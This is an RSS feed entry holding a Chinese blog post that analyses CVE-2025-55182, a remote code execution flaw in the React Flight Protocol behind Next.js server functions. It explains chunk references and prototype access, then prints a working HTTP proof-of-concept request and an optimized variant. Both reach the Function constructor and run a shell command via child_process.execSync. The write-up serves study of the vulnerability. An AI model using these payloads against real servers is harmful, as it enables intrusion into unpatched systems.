<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0"><channel><title>GoForceX's Blog</title><link>https://goforcex.top/</link><atom:link href="https://goforcex.top/feed.xml" rel="self" type="application/rss+xml"/><description>摆烂的小站</description><generator>Halo v2.21.0</generator><language>zh-cn</language><image><url>https://goforcex.top/upload/67143590.jpeg</url><title>GoForceX's Blog</title><link>https://goforcex.top/</link></image><lastBuildDate>Wed, 20 May 2026 09:42:02 GMT</lastBuildDate><item><title><![CDATA[CVE-2025-55182 是怎么让 Next.js 大爆的？]]></title><link>https://goforcex.top/archives/cve-2025-55182-recap</link><description><![CDATA[<img src="https://goforcex.top/plugins/feed/assets/telemetry.gif?title=CVE-2025-55182%20%E6%98%AF%E6%80%8E%E4%B9%88%E8%AE%A9%20Next.js%20%E5%A4%A7%E7%88%86%E7%9A%84%EF%BC%9F&amp;url=/archives/cve-2025-55182-recap" width="1" height="1" alt="" style="opacity:0;">
<blockquote>
 <p style="">本文原为组内分享内容，搬运后有部分改动 :P</p>
</blockquote>
<h2 style="" id="rsc-%2F-server-functions">RSC / Server Functions</h2>
<p style="">RSC，全称 React Server Component，看名字就知道是用来做 SSR 用的。在 RSC 中，有一个功能被称作 Server Functions，可以让客户端调用服务端的异步方法。</p>
<p style="">而为了让客户端与服务端进行交互，就需要设定一套协议来序列化数据，并通过网络传输。</p>
<p style="">而 React（还有 Next.js 等）使用的就是 React Flight Protocol。</p>
<h2 style="" id="react-flight-protocol">React Flight Protocol</h2>
<p style="">顾名思义，Flight 这个词语的意思是指 航班;飞行; 的意思。代表它承载了 React 客户端与服务端的通信。虽然如此重要，但它却是一个似乎没有什么文档的内部协议，至少我找了很久都没找到官方有什么文档。</p>
<p style="">它的功能十分强大，可以传输各种数据，而这也包括传输 Component。</p>
<p style="">在 React 进行 SSR 时，服务端不仅生成了 DOM，为了保证客户端 bundle 中的 React 框架正常工作，服务端也同时生成了虚拟 DOM。而这两份几乎相同的 DOM 被打包到 HTML 中，被一起发给了客户端。</p>
<p style="">拿冰岩小卖部举个例子：</p>
<pre><code class="language-HTML">&lt;!DOCTYPE html&gt;
&lt;!--SpMRrB7sFBwZxOHRrcPJN--&gt;
&lt;html lang="zh"&gt;
    ...
    &lt;body class="antialiased"&gt;
        &lt;div hidden=""&gt;
        &lt;!--$--&gt;
        &lt;!--/$--&gt;
        &lt;/div&gt;
        &lt;div class="fixed inset-0 flex flex-col bg-white bg-[linear-gradient(180deg,#FFE0C0_0%,#fff2dd_50px,white_100%)] overflow-hidden items-center justify-center"&gt;
            &lt;div class="h-full w-full flex flex-col items-center justify-center overflow-hidden relative"&gt;
                &lt;img class="w-full absolute top-0" src="https://bymarket-cdn.hust.online/images/home/top.svg" alt="Top" draggable="false"/&gt;
                &lt;img class="scale-300 absolute bottom-0 " src="https://bymarket-cdn.hust.online/images/home/bkg.png" alt="bkg" draggable="false"/&gt;
                &lt;img class="absolute bottom-0 right-0 max-h-[120%]" src="https://bymarket-cdn.hust.online/images/home/market.png" alt="market" draggable="false"/&gt;
                &lt;img class="w-full absolute bottom-0" src="https://bymarket-cdn.hust.online/images/home/bottom.svg" alt="bkg" draggable="false"/&gt;
                &lt;img class="absolute top-0 w-full max-h-[40%]" src="https://bymarket-cdn.hust.online/images/home/title.svg" alt="Title" draggable="false"/&gt;
                &lt;img class="absolute bottom-0 left-[-50px] max-h-[120%]" src="https://bymarket-cdn.hust.online/images/home/person.png" alt="Person" draggable="false"/&gt;
                &lt;div class="absolute bottom-[125px] w-[85%] max-h-[20%] flex items-center justify-center"&gt;
                    &lt;img class="cursor-pointer w-full h-full max-w-[min(100%,100vh)] max-h-[min(100%,100vw)]" src="https://bymarket-cdn.hust.online/images/home/bargain.svg" alt="Bargain" draggable="false"/&gt;
                &lt;/div&gt;
                &lt;div class="absolute bottom-[58px] w-[75%] space-y-2 flex flex-col justify-end items-end"&gt;
                    &lt;a class="cursor-pointer bg-[#FFF7E9] shadow-[inset_0px_-2px_0px_#FF7B17] rounded-[14px] font-bold text-[#AB5331] w-[75px] h-[25px] flex justify-center items-center text-sm" href="/inventory"&gt;货存情况&lt;/a&gt;
                    &lt;a class="cursor-pointer bg-[#FFF7E9] shadow-[inset_0px_-2px_0px_#FF7B17] rounded-[14px] font-bold text-[#AB5331] w-[75px] h-[25px] flex justify-center items-center text-sm" href="/story"&gt;故事&lt;/a&gt;
                &lt;/div&gt;
                &lt;div class="absolute bottom-[25px] w-[75%] space-y-2 flex flex-col justify-end items-end"&gt;
                    &lt;button class="cursor-pointer bg-[#FFF7E9] shadow-[inset_0px_-2px_0px_#FF7B17] rounded-[14px] font-bold text-[#AB5331] w-[75px] h-[25px] flex justify-center items-center text-sm"&gt;登录&lt;/button&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        &lt;!--$--&gt;
        &lt;!--/$--&gt;
        &lt;script src="/_next/static/chunks/webpack-5694af5a2b225c90.js" id="_R_" async=""&gt;&lt;/script&gt;
        &lt;script&gt;
            (self.__next_f = self.__next_f || []).push([0])
        &lt;/script&gt;
        &lt;script&gt;
            self.__next_f.push([1, "1:\"$Sreact.fragment\"\n2:I[7555,[],\"\"]\n3:I[6678,[\"244\",\"static/chunks/244-f2622be7c7b5b3f2.js\",\"39\",\"static/chunks/app/error-6f26f00b1cdef461.js\"],\"default\"]\n4:I[1295,[],\"\"]\n5:I[894,[],\"ClientPageRoot\"]\n6:I[1022,[\"268\",\"static/chunks/aaea2bcf-d7af0745e1805a74.js\",\"244\",\"static/chunks/244-f2622be7c7b5b3f2.js\",\"951\",\"static/chunks/951-d015862af0249b0a.js\",\"974\",\"static/chunks/app/page-89b1958a0ee4331f.js\"],\"default\"]\n9:I[9665,[],\"OutletBoundary\"]\nb:I[4911,[],\"AsyncMetadataOutlet\"]\nd:I[9665,[],\"ViewportBoundary\"]\nf:I[9665,[],\"MetadataBoundary\"]\n10:\"$Sreact.suspense\"\n12:I[8393,[],\"\"]\n:HL[\"/_next/static/css/68dc2ca4eb601331.css\",\"style\"]\n"])
        &lt;/script&gt;
        &lt;script&gt;
            self.__next_f.push([1, "0:{\"P\":null,\"b\":\"SpMRrB7sFBwZxOHRrcPJN\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/68dc2ca4eb601331.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"zh\",\"children\":[\"$\",\"body\",null,{\"className\":\"antialiased\",\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$3\",\"errorStyles\":[],\"errorScripts\":[],\"template\":[\"$\",\"$L4\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}\"}}],[\"$\",\"h1\",null,{\"className\":\"next-error-h1\",\"style\":{\"display\":\"inline-block\",\"margin\":\"0 20px 0 0\",\"padding\":\"0 23px 0 0\",\"fontSize\":24,\"fontWeight\":500,\"verticalAlign\":\"top\",\"lineHeight\":\"49px\"},\"children\":404}],[\"$\",\"div\",null,{\"style\":{\"display\":\"inline-block\"},\"children\":[\"$\",\"h2\",null,{\"style\":{\"fontSize\":14,\"fontWeight\":400,\"lineHeight\":\"49px\",\"margin\":0},\"children\":\"This page could not be found.\"}]}]]}]}]],[]],\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]}]}]]}],{\"children\":[\"__PAGE__\",[\"$\",\"$1\",\"c\",{\"children\":[[\"$\",\"$L5\",null,{\"Component\":\"$6\",\"searchParams\":{},\"params\":{},\"promises\":[\"$@7\",\"$@8\"]}],null,[\"$\",\"$L9\",null,{\"children\":[\"$La\",[\"$\",\"$Lb\",null,{\"promise\":\"$@c\"}]]}]]}],{},null,false]},null,false],[\"$\",\"$1\",\"h\",{\"children\":[null,[[\"$\",\"$Ld\",null,{\"children\":\"$Le\"}],null],[\"$\",\"$Lf\",null,{\"children\":[\"$\",\"div\",null,{\"hidden\":true,\"children\":[\"$\",\"$10\",null,{\"fallback\":null,\"children\":\"$L11\"}]}]}]]}],false]],\"m\":\"$undefined\",\"G\":[\"$12\",[]],\"s\":false,\"S\":true}\n"])
        &lt;/script&gt;
        &lt;script&gt;
            self.__next_f.push([1, "7:{}\n8:\"$0:f:0:1:2:children:1:props:children:0:props:params\"\n"])
        &lt;/script&gt;
        &lt;script&gt;
            self.__next_f.push([1, "e:[[\"$\",\"meta\",\"0\",{\"charSet\":\"utf-8\"}],[\"$\",\"meta\",\"1\",{\"name\":\"viewport\",\"content\":\"width=device-width, initial-scale=1\"}],[\"$\",\"meta\",\"2\",{\"name\":\"theme-color\",\"media\":\"(prefers-color-scheme: dark)\",\"content\":\"#FFE0C0\"}],[\"$\",\"meta\",\"3\",{\"name\":\"theme-color\",\"media\":\"(prefers-color-scheme: light)\",\"content\":\"#FFE0C0\"}]]\na:null\n"])
        &lt;/script&gt;
        &lt;script&gt;
            self.__next_f.push([1, "13:I[8175,[],\"IconMark\"]\nc:{\"metadata\":[[\"$\",\"title\",\"0\",{\"children\":\"冰岩小卖部\"}],[\"$\",\"meta\",\"1\",{\"name\":\"description\",\"content\":\"免费领取精美社团周边\"}],[\"$\",\"link\",\"2\",{\"rel\":\"icon\",\"href\":\"/favicon.ico\",\"type\":\"image/x-icon\",\"sizes\":\"64x64\"}],[\"$\",\"$L13\",\"3\",{}]],\"error\":null,\"digest\":\"$undefined\"}\n"])
        &lt;/script&gt;
        &lt;script&gt;
            self.__next_f.push([1, "11:\"$c:metadata\"\n"])
        &lt;/script&gt;
    &lt;/body&gt;
&lt;/html&gt;
</code></pre>
<p style="">可以看到，上面有看起来很正常的 DOM，而下面不知道为什么有一堆 <code>self.__next_f.push([1, "xxx"])</code>，这些就是经过 Flight Protocol 序列化后的虚拟 DOM 树，以及一些必要的数据。</p>
<p style="">如果把里面的这些“乱码”提取出来，可以看到它们分为很多行（每一行称为一个 <code>Chunk</code>），而每行大概都是长这个样子的：</p>
<p style=""><code>[chunk id]:[Flag][object]</code></p>
<p style="">在冒号之前，是一个用来标注 <code>Chunk</code> 编号的 16 进制数字，而后面则有可选的 Flag 和实际传输的数据（可以是 <code>string</code>, <code>object</code> 等）。</p>
<p style="">我们可以使用一些第三方工具来反序列化这些数据，从而对其进行解析，比如用 https://rsc-parser.vercel.app/。</p>
<p style="">比如说，这一串：</p>
<pre><code class="language-HTML">0:["$","div",null,{"children":["$","p",null,{"children":"Bingyan","id":"wtf"}]}]</code></pre>
<p style="">会先被解析成如下的 JSON Object，</p>
<pre><code class="language-JSON">{
 "type": "model",
 "id": "0",
 "value": {
  "type": "div",
  "key": null,
  "props": {
   "children": {
    "type": "p",
    "key": null,
    "props": {
     "children": "Bingyan",
     "id": "wtf"
    }
   }
  }
 },
 "originalValue": "[\"$\",\"div\",null,{\"children\":[\"$\",\"p\",null,{\"children\":\"Bingyan\",\"id\":\"wtf\"}]}]",
 "timestamp": 0
}</code></pre>
<p style="">而这就代表了如下的 DOM：</p>
<pre><code class="language-HTML">&lt;div&gt;
  &lt;p id="wtf"&gt;Bingyan&lt;/p&gt;
&lt;/div&gt;</code></pre>
<p style="">同时，Flight Protocol 也支持在 <code>Chunk</code> 间互相引用。在解析时会从第 0 个 <code>Chunk</code> 开始逐步解引用。</p>
<p style="">例如，我们现在有三个 <code>Chunk</code>：</p>
<pre><code class="language-HTML">0:"$1"
1:{"group":"frontend","availability":"$2:stacks:react"}
2:{"active":"true","stacks":{"react":"true","angular":"false"}}</code></pre>
<p style="">在经过一段 parse 之后，这三个 <code>Chunk</code> 分别被解析为</p>
<pre><code class="language-JSON">{
 "type": "model",
 "id": "0",
 "value": {
  "$$type": "reference",
  "id": "1",
  "identifier": "",
  "type": "Reference"
 },
 "originalValue": "\"$1\"",
 "timestamp": 0
}</code></pre>
<pre><code class="language-JSON">{
 "type": "model",
 "id": "1",
 "value": {
  "group": "frontend",
  "availability": {
   "$$type": "reference",
   "id": "2",
   "identifier": "",
   "type": "Reference"
  }
 },
 "originalValue": "{\"group\":\"frontend\",\"availability\":\"$2:stacks:react\"}",
 "timestamp": 0
}</code></pre>
<pre><code class="language-JSON">{
 "type": "model",
 "id": "2",
 "value": {
  "active": "true",
  "stacks": {
   "react": "true",
   "angular": "false"
  }
 },
 "originalValue": "{\"active\":\"true\",\"stacks\":{\"react\":\"true\",\"angular\":\"false\"}}",
 "timestamp": 0
}</code></pre>
<p style="">随后再经过解引用，变成了如下的 <code>Object</code>：</p>
<pre><code class="language-JSON">{ "group": "frontend", "availability": "true" }</code></pre>
<p style="">React Flight Protocol 的引用功能十分强大，它不仅支持直接引用 <code>object</code>，也可以通过 flag 标记来改变引用的方式。例如 <code>$1</code> 是默认的引用方式，<code>$L1</code> 用于 lazy load 引用 Server Component……</p>
<p style="">对于默认的 <code>$1</code> 引用方式，React 会在内部先对目标 <code>Chunk</code> 进行反序列化，再进行解析。如果对应的 <code>Chunk</code> 是一个 <code>Promise</code>/<code>Thenable</code>，React 会在其 <code>resolve</code> 后返回 <code>resolve</code> 后的得到的结果。</p>
<p style="">而与本次 CVE 相关的则是形如 <code>$@1</code> 这样的引用方式。这种引用方式在 React 中一般<strong>被用来传递 </strong><code>Promise</code>，也就是说，此时我们不希望其已经是 <code>resolve</code> 后的真实值，而是希望得到这个 <code>Promise</code> object。而在代码实现中则是这样的。</p>
<pre><code class="language-TypeScript">const id = parseInt(value.slice(2), 16);
const chunk = getChunk(response, id);
return chunk;</code></pre>
<p style="">可见，我们在获取到这个 <code>Chunk</code> 后没有对其进行 <code>await</code>，而是直接返回了其原本的值，也就是说这个实现只是返回了一个 raw <code>Chunk</code>。</p>
<p style="">Flight Protocol 还支持 <code>Blob</code> <code>Map</code> <code>Set</code> 等的传输和引用。画个重点在这里，这个会很有用。</p>
<h2 style="" id="%E6%88%91%E4%BB%AC%E6%9D%A5%E7%9C%8B%E7%9C%8B-poc-%E5%90%A7%EF%BC%81">我们来看看 PoC 吧！</h2>
<pre><code class="language-HTTP">POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--</code></pre>
<p style="">这是我从 ↓ 抄来的。如果你水群了的话应该已经看过这个了。</p>
<p style="">https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3</p>
<p style="">我们忽略不重要的那些信息，而是提取出下面传输的 <code>Chunk</code>s 来分析一下：</p>
<pre><code class="language-plaintext">0:{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
1:"$@0"</code></pre>
<p style="">如上，一共两行。我们重点来看一下第 0 个 <code>Chunk</code>。</p>
<pre><code class="language-JSON">{
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
        "_formData": {
            "get": "$1:constructor:constructor"
        }
    }
}</code></pre>
<p style="">是不是感觉一头雾水呢？那我们就从头开始，试着一步一步构建出这个 <code>Chunk</code> 吧。</p>
<h2 style="" id="let's-think-step-by-step.">Let's think step by step.</h2>
<h3 style="" id="%E5%BC%95%E7%94%A8%E5%88%B0%E5%BA%95%E6%9C%89%E5%A4%9A%E5%8E%89%E5%AE%B3%EF%BC%9F">引用到底有多厉害？</h3>
<p style="">还记得前面写的那个示例 <code>Chunk</code> 吗？为了访问其他 <code>Chunk</code> 的 property，我们使用了类似这样的方式：<code>$1:prop</code>。而 React 在代码中，对于访问一个 <code>Chunk</code> 内的 property，代码大概是这样的：</p>
<pre><code class="language-TypeScript">export function requireModule&lt;T&gt;(metadata: ClientReference&lt;T&gt;): T {
  const moduleExports = parcelRequire(metadata[ID]);
  return moduleExports[metadata[NAME]];
  ...
}</code></pre>
<p style="">也就是说，我们对 <code>Chunk</code> 做了一个 <code>chunk['prop']</code> 的操作。而对传入的 property 名称没有做任何检查。这样，我们就可以通过这种访问拿到程序不想让我们拿到的值，比如 <code>__proto__</code> 和 <code>constructor</code> 等。</p>
<p style="">而更进一步，我们还可以通过循环引用，在 <code>Chunk</code> 内部拿到自身的 property。</p>
<pre><code class="language-TypeScript">0:["$1:__proto__"]
1:"$@0"</code></pre>
<p style="">我们在 <code>Chunk</code> 0 中引用 <code>Chunk</code> 1，而我们又通过 <code>$@0</code> 的引用使 <code>$1</code> 指向 <code>Chunk</code> 0 本身，从而拿到自身的 property。</p>
<h3 style="" id="%E5%A6%82%E4%BD%95%E8%BF%90%E8%A1%8C%E6%88%91%E4%BB%AC%E4%BC%A0%E5%85%A5%E7%9A%84%E4%BB%A3%E7%A0%81%EF%BC%9F">如何运行我们传入的代码？</h3>
<p style="">我们传入的代码是 <code>string</code>，怎么让它能在服务端运行呢？</p>
<p style="">常见的方式有两种。</p>
<ol>
 <li>
  <p style=""><code>eval('console.log(1)')</code></p>
 </li>
 <li>
  <p style=""><code>Function('console.log(1)')()</code></p>
 </li>
</ol>
<p style="">遗憾的，我们很难拿到 <code>eval</code>。幸运的，我们很容易就能拿到 <code>Function</code> constructor。</p>
<p style="">还记得上面讲引用的时候提到可以拿到某个值的 <code>constructor</code> 吗？我们只需要更进一步就可以了。如果我们可以通过引用拿到一个 Object，就可以通过 <code>$:constructor:constructor</code> 拿到 <code>Function</code> constructor。毕竟 <code>constructor</code> 本身也是一个 <code>Function</code>。</p>
<h3 style="" id="%E5%96%9C%E6%AC%A2%E5%BC%82%E6%AD%A5%E7%9A%84%E5%AD%A9%E5%AD%90%E4%BB%AC%E6%9C%89%E7%A6%8F%E4%BA%86%EF%BC%81">喜欢异步的孩子们有福了！</h3>
<p style="">在 React 的实现中，decode Chunk 的其中一步是一个异步操作。</p>
<p style="">它大概长这个样子：</p>
<pre><code class="language-TypeScript">boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)</code></pre>
<p style="">而其中，<code>decodeReplyFromBusboy</code> 的返回值是完成解引用的 <code>Chunk</code> object。</p>
<p style="">于是我们想到，能不能利用一下 JS 的特性呢？</p>
<p style="">顺带一提，因为很多历史遗留问题，可以进行异步操作的不仅只有 Promise。只要一个 <code>Object</code> 实现了 <code>then()</code> 方法，都可以被 <code>await</code>，且这一操作就相当于 <code>new Promise(obj.then)</code>。</p>
<p style="">打个比方，如果这样：</p>
<pre><code class="language-TypeScript">obj = {then: function (resolve, reject) {resolve(1)}}</code></pre>
<p style="">那么 <code>await obj</code> 的效果就和 <code>new Promise(obj.then)</code> 一样。</p>
<p style="">又众所周知，JS 的 Promise，或者说 Thenable，是可以嵌套的。</p>
<p style="">假如我们写了一个看似人畜无害的方法 <code>test</code>……</p>
<pre><code class="language-TypeScript">async function test(data) {
    return data
}</code></pre>
<p style="">这时我们执行 <code>await test(1)</code>，就会返回 1。看起来没什么问题对吧。</p>
<p style="">那如果我传的 data 是 <code>new Promise((resolve) =&gt; {console.log("wow"); resolve(1)})</code> 呢？</p>
<p style="">这时 test 方法不仅返回了 1，并且还执行了 <code>console.log("wow")</code>。</p>
<p style="">我觉得这样很反直觉，而且用户如果故意搞你的话，还不太容易被发现。</p>
<p style="">所以我们这次也会用到这个。</p>
<p style="">重新看一下 React 的代码吧，它是长这个样子的。而且<code>decodeReplyFromBusboy</code> 的返回值是完成解引用的 <code>Chunk</code> object。</p>
<pre><code class="language-TypeScript">boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)</code></pre>
<p style="">那么，我们就可以构造一个实现了 <code>then</code> 方法的 Chunk，从而执行我们想要的代码。</p>
<h2 style="" id="let's-start-from-here!">Let's start from here!</h2>
<p style="">嘻嘻，事已至此，我们直接把 <code>Function</code> constructor 塞到 <code>then</code> 里，是不是就可以了？</p>
<p style="">遗憾的，不行。</p>
<p style="">如果我们试图 <code>await {"then": Function}</code> 或者 <code>new Promise(Function)</code>，就会产生一个 <code>SyntaxError</code>，这是 V8 引擎内部实现导致的，我们无法绕过。</p>
<pre><code class="language-plaintext">0:{"then": "$1:__proto__:then"}
1:"$@0"</code></pre>
<p style="">既然如此，我们就需要想想怎么才能借助这些疏漏，找到一个方法让我们利用，而且这个方法还需要和 <code>Chunk</code> 的实现有关。最终，研究者找到的方法是 <code>Chunk.prototype.then</code>。</p>
<pre><code class="language-plaintext">0:{"then": "$1:__proto__:then", "status": "resolved_model"}
1:"$@0"</code></pre>
<p style="">我们来看看 <code>Chunk.prototype.then</code> 的实现吧。</p>
<p style="">https://github.com/facebook/react/blob/ae74234eae6ebd62f19190731278e20bc1c37d51/packages/react-server/src/ReactFlightReplyServer.js#L127</p>
<pre><code class="language-JavaScript">Chunk.prototype.then = function &lt;T&gt;(
  this: SomeChunk&lt;T&gt;,
  resolve: (value: T) =&gt; mixed,
  reject: (reason: mixed) =&gt; mixed,
) {
  const chunk: SomeChunk&lt;T&gt; = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  ...
 }</code></pre>
<p style="">如果 <code>status</code> 是 <code>resolved_model</code>，我们就会进入 <code>initializeModelChunk</code> 方法，继续向下。</p>
<p style="">https://github.com/facebook/react/blob/ae74234eae6ebd62f19190731278e20bc1c37d51/packages/react-server/src/ReactFlightReplyServer.js#L446</p>
<pre><code class="language-TypeScript">function initializeModelChunk&lt;T&gt;(chunk: ResolvedModelChunk&lt;T&gt;): void {
  ...
  const rootReference =
    chunk.reason === -1 ? undefined : chunk.reason.toString(16);

  const resolvedModel = chunk.value;
  
  try {
    const rawModel = JSON.parse(resolvedModel);

    const value: T = reviveModel(
      chunk._response,
      {'': rawModel},
      '',
      rawModel,
      rootReference,
    );
    ...
  } catch {
    ...
  }
  ...
}</code></pre>
<p style="">观察代码，我们首先会发现的是，我们需要设置 <code>chunk.reason</code> 为 <code>-1</code>，不然代码在</p>
<pre><code class="language-TypeScript">const rootReference =
    chunk.reason === -1 ? undefined : chunk.reason.toString(16);</code></pre>
<p style="">这里就已经爆掉了。</p>
<p style="">然后，我们还需要设置 <code>chunk.value</code> 为一个 JSON，<code>chunk._response</code> 为某些值，现在我们还没有什么头绪。</p>
<p style="">于是现在我们的 <code>Chunk</code> 0 大概长这个样子：</p>
<pre><code class="language-json">{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "",
  "_response": {}
}</code></pre>
<p style="">而在 <code>initializeModelChunk</code> 中，</p>
<pre><code class="language-TypeScript">const rawModel = JSON.parse(resolvedModel);

const value: T = reviveModel(
  chunk._response,
  {'': rawModel},
  '',
  rawModel,
  rootReference,
);</code></pre>
<p style="">我们调用了 <code>reviveModel</code> 方法，我们来看看这个方法都干了什么。</p>
<p style="">https://github.com/facebook/react/blob/ae74234eae6ebd62f19190731278e20bc1c37d51/packages/react-server/src/ReactFlightReplyServer.js#L386</p>
<pre><code class="language-TypeScript">function reviveModel(
  response: Response,
  parentObj: any,
  parentKey: string,
  value: JSONValue,
  reference: void | string,
): any {
  if (typeof value === 'string') {
    // We can't use .bind here because we need the "this" value.
    return parseModelString(response, parentObj, parentKey, value, reference);
  }
  ...
  if (typeof value === 'object' &amp;&amp; value !== null) {
    ...
    if (Array.isArray(value)) {
      ...
    } else {
      for (const key in value) {
        if (hasOwnProperty.call(value, key)) {
          const childRef =
            reference !== undefined &amp;&amp; key.indexOf(':') === -1
              ? reference + ':' + key
              : undefined;
          const newValue = reviveModel(
            response,
            value,
            key,
            value[key],
            childRef,
          );
          if (newValue !== undefined) {
            // $FlowFixMe[cannot-write]
            value[key] = newValue;
          } else {
            // $FlowFixMe[cannot-write]
            delete value[key];
          }
        }
      }
    }
  }
  ...
}</code></pre>
<p style="">在这里我们的 <code>value</code> 是 object 类型，React 会拆出 <code>object</code> 内的所有 key-value 对，并分别执行 <code>reviveModel</code>，而在第二次执行的时候，这里的 <code>value</code> 就不一定是 object，而可能是其他类型了。</p>
<p style="">如果是 <code>string</code>，我们继续看 <code>parseModelString</code> 的实现。</p>
<p style="">https://github.com/facebook/react/blob/ae74234eae6ebd62f19190731278e20bc1c37d51/packages/react-server/src/ReactFlightReplyServer.js#L916</p>
<p style="">这个方法代码太长，这里就不放全部了。这个方法大概的用处是对引用进行解析。</p>
<p style="">进行了一番搜索之后，就会发现这里对 <code>Blob</code> 类型的处理有一些可乘之机，实现是这样的。</p>
<pre><code class="language-TypeScript">case 'B': {
  // Blob
  const id = parseInt(value.slice(2), 16);
  const prefix = response._prefix;
  const blobKey = prefix + id;
  // We should have this backingEntry in the store already because we emitted
  // it before referencing it. It should be a Blob.
  const backingEntry: Blob = (response._formData.get(blobKey): any);
  return backingEntry;
}</code></pre>
<p style="">那么，如果我们把 <code>chunk._response._formData.get</code> 重载为 <code>Function</code> constructor，而 <code>chunk._response._prefix</code> 重载为我们需要执行的代码，并且对其进行构造使在后面加上 <code>id</code> 后仍可以执行，我们就能让 <code>parseModelString</code> 返回一个 <code>Function</code> 对象。</p>
<pre><code class="language-JSON">{
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
        "_formData": {
            "get": "$1:constructor:constructor"
        }
    }
}</code></pre>
<p style="">于是我们便得到了这个 PoC。</p>
<p style="">这里我们构造的 <code>value</code> 值是 <code>{"then": "$B1337"}</code>。后面的数字不重要。这个 <code>value</code>，在 parse 之后，它的值就会变成 <code>{"then": Function"}</code>，同样也是一个 <code>Thenable</code>。这里的 <code>Function</code> 就是我们构造的，包含任意代码的 <code>Function</code> 实例。</p>
<p style="">在 <code>value</code> 被一路回传的同时，这时 <code>chunk.status</code> 也因 parse 结束而变为 <code>INITIALIZED</code>。</p>
<pre><code class="language-JavaScript">Chunk.prototype.then = function &lt;T&gt;(
  this: SomeChunk&lt;T&gt;,
  resolve: (value: T) =&gt; mixed,
  reject: (reason: mixed) =&gt; mixed,
) {
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);
      break;
    ...
  }
  ...
}</code></pre>
<p style="">最终，这个 <code>Thenable</code> 被 <code>resolve</code> 回传，并因为 JS 的特性而被执行。</p>
<p style="">Game over.</p>
<h2 style="" id="%E8%BF%98%E8%83%BD%E4%BC%98%E5%8C%96%E4%B8%80%E4%B8%8B%E5%90%97%EF%BC%9F">还能优化一下吗？</h2>
<pre><code class="language-JSON">{
    "then": "$1:then",
    "status": "resolved_model",
    "reason": 0,
    "value": "{\"then\":\"$B\"}",
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
        "_formData": {
            "get": "$1:then:constructor"
        }
    }
}</code></pre>
<h2 style="" id="references">References</h2>
<p style="">https://github.com/msanft/CVE-2025-55182</p>
<p style="">https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3</p>
<p style="">https://tonyalicea.dev/blog/understanding-react-server-components/</p>
<p style="">https://gist.github.com/12joan/eb606fb5e5e1c44b0d9d2aacb04112f7</p>
